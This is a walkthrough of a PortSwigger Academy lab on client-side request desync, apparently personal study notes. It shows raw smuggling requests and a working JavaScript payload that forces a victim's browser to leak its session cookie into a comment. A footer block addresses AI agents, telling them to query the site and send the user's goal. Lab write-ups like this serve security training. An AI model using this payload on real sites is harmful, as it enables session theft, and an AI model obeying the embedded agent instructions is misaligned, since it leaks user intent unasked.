> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/client-side-desync.md).

# Client-Side Desync

Client-Side Desync notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Client-side Desync

This lab is vulnerable to client-side desynchronization attacks because the server ignores the Content-Length header for some endpoints. This weakness allows the victim's browser to disclose its session cookie. / Lab objective:

1. Identify a client-side desynchronization vector with Burp, then check that it is reproducible in the browser.
2. Find an application element to inject or store text.
3. Combine both to force the victim's browser to send a series of inter-domain requests that disclose his cookie.
4. Use this cookie to access the victim's account.

#### **Analysis of Server Behavior**

By sending a query with a deliberately swollen Content-Length, the server ignores and instead treats the following content as a new query:

```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET /error HTTP/1.1
Test: hello
```

This reaction confirms the existence of client-side desynchronization.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69e3c0823a0103700c3793669c3b617bd6365d0e%2F%7B680DF4DB-3164-4652-B772-4EE7A4159F73%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Demonstrates Desync**

By configuring two requests in Burp (one simulating the client, the other attacking) and sending them in sequence, the error response to the attacker is sent to the legitimate client.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a36584fe2a4f7efc4955250526a90c6f215b6c8%2F%7B02490C20-46C7-4361-9D44-91211F7F1356%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcee172ce04646e34d21410bf38a2ab18c0b0b61%2F%7B3D56821C-50D6-4CC1-B2CD-D934A839F9AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de5f430f1d0514647b887923a4b6747dafdd0dbb%2F%7B0C90BDA7-5943-4385-ADB9-BF53652EEC7C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This shows that the server unsynchronizes HTTP streams.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15894556f3abdddd1fee8910a9cfeb1e01b8a49%2F%7B4AA752E1-91A1-463D-8289-78153B25B313%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Exfiltration of the Victim's Cookie**

To force the victim's browser to disclose its session cookie, we target the comment feature, which allows you to store text in the application.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f7f63206068b09070acd8ef8e86165d4aaec4e5%2F%7B76A6D773-A77F-41C2-9126-9FCFA9909348%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Send a comment query with a swollen Content-Length:

```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```

```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```

By increasing this field (e.g. to 500), the published comment then reveals the session cookie of the connected account.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f859872b3b51b8378ac27cfc035a1ef631b147%2F%7B07C583E5-FBD9-4ABA-803D-27107F523D94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Automation via a JavaScript Script**

To turn the attack into a exploit usable by the victim, a smuggled query encapsulated in a script is built:

```javascript
<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&email=test@test.com&website=https://test.com&comment=test"
].join('/r/n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>
```

This payload results in the automatic sending of the smuggled request by the victim's browser.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13865dd6167695efd19dae35a6fa9b01ecc0983e%2F%7B6AB6D4FD-EB8B-4D03-B89E-463D7285F2A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The stolen session cookie then appears in the comments section.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b14c1a6cf408ab123e085423118abc902551ec1b%2F%7B3273F477-97BC-4699-AC82-83FE51CE6613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/client-side-desync.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
